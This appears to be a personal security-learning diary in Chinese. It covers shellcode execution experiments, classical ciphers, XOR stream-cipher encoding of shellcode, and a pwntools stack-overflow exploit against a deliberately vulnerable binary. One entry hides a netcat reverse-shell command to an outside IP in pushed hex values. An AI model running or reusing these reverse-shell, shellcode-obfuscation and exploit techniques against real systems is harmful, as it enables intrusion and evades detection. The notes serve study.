丁仕晗学习日记

DSH

1. #include "string.h"
   
2. #include "windows.h"
   
3. #include "stdio.h"
   
4. char shellcode[] = "\x83\xc0\x18\xb9\x0d\x00\x00\x00\x33\xd2\x3e\x8a\x1c\x10\x80\xf3\x02\x3e\x88\x1c\x10\x42\xe2\xf2"
   
5. "\x6a\x1e\x22\x40\x02\xea\x3d\x02\x02\x02\x81\xc6\x06";
   
6. void fun1()
   
7. {
   
8.    printf("begin\n");
   
9. }
   
10. int main(){
    
11. //        char a[4]={0};       
    
12.         char *dll="kernel32.dll";
    
13.         HINSTANCE libHandle;
    
14.     libHandle=LoadLibrary(dll);
    
15.         fun1();
    
16.         __asm{
    
17.         lea eax,shellcode
    
18.         push eax
    
19. 
    
20.         ret
    
21.         }

复制代码

要怎么直接更改一个绝对地址的内容呢？
想不通为什么？

DSH

1. #include "string.h"
   
2. #include "windows.h"
   
3. #include "stdio.h"
   
4. char shellcode[] = "\x83\xc0\x18\xb9\x0e\x00\x00\x00\x33\xd2\x3e\x8a\x1c\x10\x80\xf3\x02\x3e\x88\x1c\x10\x42\xe2\xf2"
   
5. "\x89\xf6\x68\x07\x89\x47\xfe\x52\xfd\x17\x16\xa0\x40\x02";
   
6. void fun1()
   
7. {
   
8.    printf("ÊÔÊÔ¿´£¬begin\n");
   
9. }
   
10. int main(){
    
11. //        char a[4]={0};       
    
12.         char *a = "cmd.exe";
    
13.         char *dll="kernel32.dll";
    
14.         HINSTANCE libHandle;
    
15.     libHandle=LoadLibrary(dll);
    
16.         fun1();
    
17. //        WinExec(a,0);
    
18.         __asm{
    
19.         lea eax,shellcode
    
20.         jmp eax
    
21. 
    
22.         ret
    
23.         }
    
24. 
    
25. /*        __asm{
    
26.         mov esi,esp
    
27.         push 5
    
28.         mov eax,dword ptr [ebp-4]
    
29.         push eax
    
30.         call dword ptr [WinExec]
    
31.         }*/
    
32. 
    
33.         return 0;
    
34. }

复制代码

下次试试赋值的汇编，他是怎么实现字符的输出和地址的读取的

DSH

今天发现了一个问题有关call的调用的
CALL指令执行时，进行两步操作：
（1）将程序下一条指令的位置的IP压入堆栈中；
（2）转移到调用的子程序。


shellcode解码出来发现call会跳转到和汇编同样的地址，但是地址的内容却消失了，直接跳转到00000000地址，什么原因导致的暂时不清楚。

DSH

1. #include "string.h"
   
2. #include "stdio.h"
   
3. 
   
4. char shellcode[] = "\xE8\x00\x00\x00\x00\x8B\x04\x24\x83\xC0\x1A\xB9\x17\x00\x00\x00\x33\xD2\x3E\x8A\x1C\x10\xB3\x64\x3E\x88\x1C\x10\x42\xE2\xF3"
   
5. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//chage \x64（这些改成\x64）
   
6. ;
   
7. 
   
8. int main(){
   
9.        
   
10. 
    
11. /*        __asm{
    
12.                 call L2
    
13.         L2:
    
14.                 mov eax,[esp]
    
15.                 add eax,26
    
16.                 mov ecx,23
    
17.                 xor edx,edx
    
18.         L1:
    
19.                 mov bl,byte ptr ds:[eax+edx]
    
20.                 mov bl,64h
    
21.                 mov byte ptr ds:[eax+edx],bl
    
22.                 inc edx
    
23.                 loop L1
    
24.         }*/
    
25. 
    
26.         __asm{
    
27.         lea eax,shellcode
    
28.         push eax
    
29.         push eax
    
30.         ret
    
31.        
    
32.         }
    
33. 
    
34.         return 0;
    
35. }

复制代码

DSH

程序定位：

call  函数  ：

  执行call指令,相当于执行下面两条指令

  push eip

  jmp near ptr 标号

在程序运行中获得正在执行部分的地址方法：
       call  xx
xx:  pop eax
在eax中得到程序运行地址


分析：因为在call的过程中，会将下一个指令的ip地址压入堆栈中。我们通过pop可以得到当前的ip


同理：
      call xx
xx: mov eax,[esp]


也可以达到相同的结果

DSH

密码学原理

明文 ---->（密钥） ---->密文

加密     将明文字符通过某种方法或规律转换为密文
解密     将密文字符通过某种方法或规律还原为明文

A、代换密码：
       通过对应关系，实现明文密文的转换，这种对应关系被称为密钥

       1、棋盘密码：

(密钥)             1      2     3     4      5
              1      A      B     C     D     E
              2      F      G     H    IJ     K
              3      L      M     N    O     P
              4      Q     R      S    T     U
              5      V     W     X     Y     Z
例：            
          明文：HELLO         密文：23 15 31 31 34

       2、凯撒密码：
(密钥)          明文字符 + 3 = 密文字符
                   0    1    2    3     4    5    6    7     8    9    10    11    12    13    14    15    16    17    18    19    20    21    22    23    24    25  
                   A    B    C   D     E    F    G    H    I     J     K     L      M      N     O      P     Q     R      S      T     U     V      W     X     Y      Z  
例：
                   明文：HELLO      密文：KHOOR

       3、仿射密码：
(密钥)          Y = (a*X + b) mod 26                （X为明文字符，Y为密文字符）
                   0    1    2    3     4    5    6    7     8    9    10    11    12    13    14    15    16    17    18    19    20    21    22    23    24    25  
                   A    B    C   D     E    F    G    H    I     J     K     L      M      N     O      P     Q     R      S      T     U     V      W     X     Y      Z  


例：              Y = (7 * X + 3) mod 26
                   明文：HELLO    加密：H--> （7 乘 7 加 3）除以26取余数 ==  0  --> A           密文：AFCCX
                                                   E --> （7 乘 4 加 3）除以26取余数 ==  5  --> F
                                                   L --> （7 乘 11 加 3）除以26取余数 == 2   --> C
                                                  O --> （7 乘 14 加 3）除以26取余数 == 23  --> X

这些不难理解，也比较直观，都是通过某种确定的代换关系进行代换的

B、希尔密码：
(密钥)         Y = X * [ m阶矩阵 ]                  （X为明文字符，Y为密文字符）
                   0    1    2    3     4    5    6    7     8    9    10    11    12    13    14    15    16    17    18    19    20    21    22    23    24    25  
                   A    B    C   D     E    F    G    H    I     J     K     L      M      N     O      P     Q     R      S      T     U     V      W     X     Y      Z  

例：
                   2阶矩阵       1      2
                                     3      4

                   明文：HELLO 因为2阶矩阵，所以我们分组 (7 4) (11 11) (14)
                   加密：分组的明文 乘以 矩阵   ==分别为=  (7 4)--> (19 30)-------mod26----->(19 4)
                                                                              (11 11)--> (44 66)-------mod26----->(18 14)  
                                                                              (14)    -->   无法正常加密
                   密文：(19 4) (18 14)-->TESO  和一个无法加密的 14
                   分析：从这个例子看出密钥矩阵取明文字符数的最小倍数为佳，不然会有无法加密的字符。除此之外在本例中，我们也可以看出两个字符会互相影响，如  对 AB(0 1) 加密后为(3 4)DE ，而 AC(0 2) 加密后为(6 8)GI，A 对应的密文不同一个是D，一个是G。
                             在这个例子中明文很显然是被代换密文

                  为了说明特殊情况，下面再举一个例子

例：
                  5阶矩阵     0        1        0       0       0
                                  0        0        0       1       0  
                                  1        0        0       0       0
                                  0        0        0       0       1
                                  0        0        1       0       0

                  明文：HELLO  (7 4 11 11 14)       加密：明文乘以矩阵 == (11 7 14 4 11)     密文：(11 7 14 4 11) -->LHOEL
                  分析： 从这个例子不难看出明文在密钥矩阵的作用下变成了密文，密文和明文的差别在，密文是明文字符交换顺序的产物。


先写到这吧，其他的下次说

DSH

密码学原理
C、置换密码
         置换密码是指将明文字符按照一定的规律移动位置，获得的错乱密文，字符本身不变
(密钥)         (x1,x2,x3~~~~xn)  = (y1,y2,y3~~~~yn)                   n项字符为一组
                   0    1    2    3     4    5    6    7     8    9    10    11    12    13    14    15    16    17    18    19    20    21    22    23    24    25  
                   A    B    C   D     E    F    G    H    I     J     K     L      M      N     O      P     Q     R      S      T     U     V      W     X     Y      Z

例：        
                  (x1,x2,x,3,x4,x5)=(x3,x1,x5,x2,x4)
                  明文 ： HELLO                        密文：LHOEL

        很容易看出置换密码的特点，通过交换位置让人无法读取。
        这种密码也可以有数学表达式去表达，这个表达是通过  矩阵 来实现的。
        用一个0和1组成的矩阵实现置换位置。

(密钥)         Y = X * [ m阶矩阵 ]                  （X为明文字符，Y为密文字符）
                   0    1    2    3     4    5    6    7     8    9    10    11    12    13    14    15    16    17    18    19    20    21    22    23    24    25  
                   A    B    C   D     E    F    G    H    I     J     K     L      M      N     O      P     Q     R      S      T     U     V      W     X     Y      Z  

例：
                  5阶矩阵     0        1        0       0       0
                                  0        0        0       1       0  
                                  1        0        0       0       0
                                  0        0        0       0       1
                                  0        0        1       0       0

                  明文：HELLO  (7 4 11 11 14)       加密：明文乘以矩阵 == (11 7 14 4 11)     密文：(11 7 14 4 11) -->LHOEL

          这种密码解密时只需要用     Y*[ m阶矩阵 ] ^(-1) = X   既可


D、流密码

         将明文看成字符串，并逐位加密，关键在于生成密钥流。

1、弗纳姆密码
         将明文转为二进制数，用和明文一样长的简单密钥流与其进行异或运算。
         这里我们用无限 0x02 作为密钥流

1. #include "string.h"
   
2. #include "stdio.h"
   
3. 
   
4. char shellcode[]={0x8b,0xf4,0x6a,0x05,0x8b,0x45,0xfc,0x50,0xff,0x15,0x14,0xa2,0x42,0x00};    //加密，解密部分
   
5. int main(){
   
6.         int i;
   
7.         char key = 0x02;       //密钥
   
8.         for(i=0;i<=13;i++)
   
9.         {
   
10.                 shellcode[i] = shellcode[i] ^ key;
    
11.                 printf("%.2x,",shellcode[i]);
    
12.         }
    
13.         printf("\n");
    
14.         return 0;
    
15. }

复制代码

        这个加密是十分简单的。解密在次运行这个程序即可。

2、同步流密码
         短周期同步流密码
               这种流密码的密钥不再是一个单独的数，而是一个有周期性的密钥流，举个例子
例：
         我们假设给出两个密钥数     0x01,0x02
         a1 = 0x01       a2 = 0x02     a3 = a2⊕a1       a4 = a3⊕a2     ~~~~~~
         不能看出 an = an-1 ⊕an-2
                                        通过这种递推关系，我们获得一长串密钥流
          a1 = 0x01       a2 = 0x02     a3 = 0x03       a4 = 0x01       a5 = 0x02    ~~~~~~~
           

1. #include "string.h"
   
2. #include "stdio.h"
   
3. 
   
4. char shellcode[]={0x8b,0xf4,0x6a,0x05,0x8b,0x45,0xfc,0x50,0xff,0x15,0x14,0xa2,0x42,0x00};    //加密，解密部分
   
5. 
   

复制代码

                    解密在次运行这个程序即可。
          长周期同步流密码
                     对于这种同步流密码来说，密钥流十分重要，上面的例子周期为3，密钥中每三个数循环一次。

                     长周期我们可以通过         an = an-1 ⊕an-10          这个递推关系来实现，不过要初始化10个a数组中的值。

                     设   初始化a数组值的个数为m     ，通过分析我们可以知道，这一类的递推关系的周期为      
                     周期为       2^m-1

DSH

流密码实现shellcode的一字一密

使用流密码实现一字一密。本方法使用流密码的基本原理，我在前面写了。这里不讲解流密码

原理 ：加密分为两个部分------密钥-------明文---------，我们这要掌握住了这两部分，剩下的都不是问题

实现：我们用流密码递推产生一串密钥组，再用密钥组分别于shellcode异或 ，随着密钥的不同，shellcode的加密也不同。实现一个字符一种加密。

接下来，我们用C语言实现这种想法，我这里用最简单的例子，这样好理解，key会循环，密钥周期为7。

1. #include "stdio.h"
   
2. #include "string.h"
   
3. //周期流密码加密
   
4. 
   
5. unsigned char shellcode[]="\x64\x65\x66\x67\x68\x69";
   
6. unsigned char key[]="\x05\x06\x07";
   
7. int main(){
   
8.         int i;
   
9.        
   
10.         for(i=3;i<=5;i++)                      //生成密钥
    
11.         {
    
12.                 key[i] = key[i-2] ^ key[i-3];     //加密密钥,递推关系为xor
    
13.         }
    
14.                
    
15.         for(i=0;i<=5;i++)                     //生成加密shellcode
    
16.         {
    
17.                 shellcode[i] = shellcode[i] ^ key[i];     //加密shellcode
    
18.         }

复制代码

运行结果：

1. 0x5     0x61
   
2. 0x6     0x63
   
3. 0x7     0x61
   
4. 0x3     0x64
   
5. 0x1     0x69
   
6. 0x4     0x6d
   
7. Press any key to continue

复制代码

C语言的实现非常的简单主要在于递推关系          key = key[i-2] ^ key[i-3]; //加密密钥,递推关系为xor我们可以初始化key的个数，这里key只有3个元素。递推关系也简单的异或，我们也可以用更复杂的key和递推关系，现在没必要

下面我们会汇编实现加密

1. #include "stdio.h"
   
2. #include "string.h"
   
3. //周期流密码加密
   
4. 
   
5. unsigned char shellcode[]="\x64\x65\x66\x67\x68\x69";
   
6. unsigned char key[]="\x05\x06\x07";
   
7. 
   
8. int main(){
   
9.         int i;
   
10. 
    
11.                
    
12.         _asm{
    
13. //密钥
    
14.                 lea eax,key
    
15.                
    
16.                 mov ecx,4
    
17. L1:
    
18.                 mov bl,byte ptr ds:[eax]
    
19.                 mov bh,byte ptr ds:[eax+1]
    
20.                 xor bl,bh
    
21.                 mov byte ptr ds:[eax+3],bl
    
22.                 inc eax
    
23. 
    
24.                 loop L1
    
25. 
    
26. 
    
27. //加密
    
28.                 lea eax,key
    
29.                 lea edx,shellcode
    
30.                
    
31. 
    
32.                 mov ecx,6
    
33. L2:
    
34.                 mov bl,byte ptr ds:[eax]
    
35.                 mov bh,byte ptr ds:[edx]
    
36.                 xor bl,bh
    
37.                 mov byte ptr ds:[edx],bl
    
38.                 inc eax
    
39.                 inc edx
    
40. 
    
41.                 loop L2
    
42.        
    
43.         }
    
44.                
    
45.         for(i=0;i<=5;i++) //输出加密结果
    
46.         {
    
47.                 printf("%#x\t",key[i]);
    
48.                 printf("%#x\t",shellcode[i]);
    
49.                 printf("\n");
    
50.         }
    
51. 
    
52.         return 0;
    
53. }

复制代码

运行结果：

1. 0x5     0x61
   
2. 0x6     0x63
   
3. 0x7     0x61
   
4. 0x3     0x64
   
5. 0x1     0x69
   
6. 0x4     0x6d
   
7. Press any key to continue

复制代码

两次结果是一样的，成功，这种方法很简单，又很方便。

DSH

一个调用netcat的想法

最初想自己写一个能拿到shell的程序，没写出来。之后写了一个利用netcat拿到shell的C程序，但是有问题，已经写了太久了还是发出来吧

原理是C语言利用system这个函数执行  nc.exe 47.101.208.236 50050 -e /bin/sh

只要将nc和C语言文件生成的exe文件放在一起运行就好了。

1. #include<stdio.h>
   
2. #include<stdlib.h>
   
3. #include<windows.h>
   
4. //#include<STDAFX.h>
   
5. //#include<../stdafx.h>
   
6. int main(){
   
7.         printf("begin\n");
   
8. //        system("cd C:\Users\DSH\Documents");//cmd.exe cd C:\Users\DSH\Documents
   
9.         _asm
   
10.         {
    
11.                 push         68732F6Eh
    
12.                 push         69622F20h
    
13.                 push         652D2030h
    
14.                 push         35303035h
    
15.                 push         20363332h
    
16.                 push         2E383032h
    
17.                 push         2E313031h
    
18.                 push         2E373420h
    
19.                 push         6578652Eh
    
20.                 push         636E2020h
    
21.                 push     esp
    
22.                 call     system
    
23.         }
    
24. /*        system("nc.exe 47.101.208.236 50050 -e /bin/sh");*/
    
25.         system("pause");
    
26.         printf("end\n");
    
27.         return 0;
    
28. 
    
29. }

复制代码

在现实使用过程中，有问题

他能链接上但是会闪退，没有完全搞定

DSH

pwn学习---64位read函数溢出利用

C语言代码--文件名    1.c

1. #include <stdio.h>
   
2. void exploit()
   
3. {
   
4.     system("/bin/sh");
   
5. }
   
6. void func()
   
7. {
   
8.         char str[0x20];
   
9.         read(0,str,0x50);
   
10. }
    
11. int main()
    
12. {
    
13.         func();
    
14.         return 0;
    
15. }

复制代码

目标：溢出执行exploit

环境：linux，gcc，pwngdb

1、执行gcc

1. gcc -no-pie -fno-stack-protector -z execstack  -o 1.exe 1.c

复制代码

生成一个关闭了所有保护的，名为1.exe的文件

2、执行gdb

1. gdb 1.exe

复制代码

1. start

复制代码

3、生成一个检测溢出位子的字符串

1. cyclic 100

复制代码

4、让程序执行至溢出位置

1. r

复制代码

将生成的字符串复制粘贴至程序停止位置

5、查看程序报错，溢出位置

ret的返回地址为   0x6161616c6161616b     转译为 kaaalaaa    （不同电脑不同）

搜索kaaa的位置，因为cyclic只能搜索4个字符，所以只要搜索前4个字符

1. cyclic -l kaaa

复制代码

记录这个重要的数字 40

6、查找exploit的位置，

1. p exploit

复制代码

记录程序地址 0x400566

7、编写py利用程序，命名为1.py

1. from pwn import *
   
2. p=process('./1.exe')
   
3. offset = 40                                          //这里是步骤5得到的 40
   
4. payload ='a'*offset+p64(0x400566)       //这里p64()中的0x400566，来自步骤6
   
5. p.sendline(payload)
   
6. p.interactive()

复制代码

8、执行py文件

1. python 1.py

复制代码

执行任意linux命令语句，测试是否成功如：ls  --列出文件夹中所有文件 ，如果列出来了，说明成功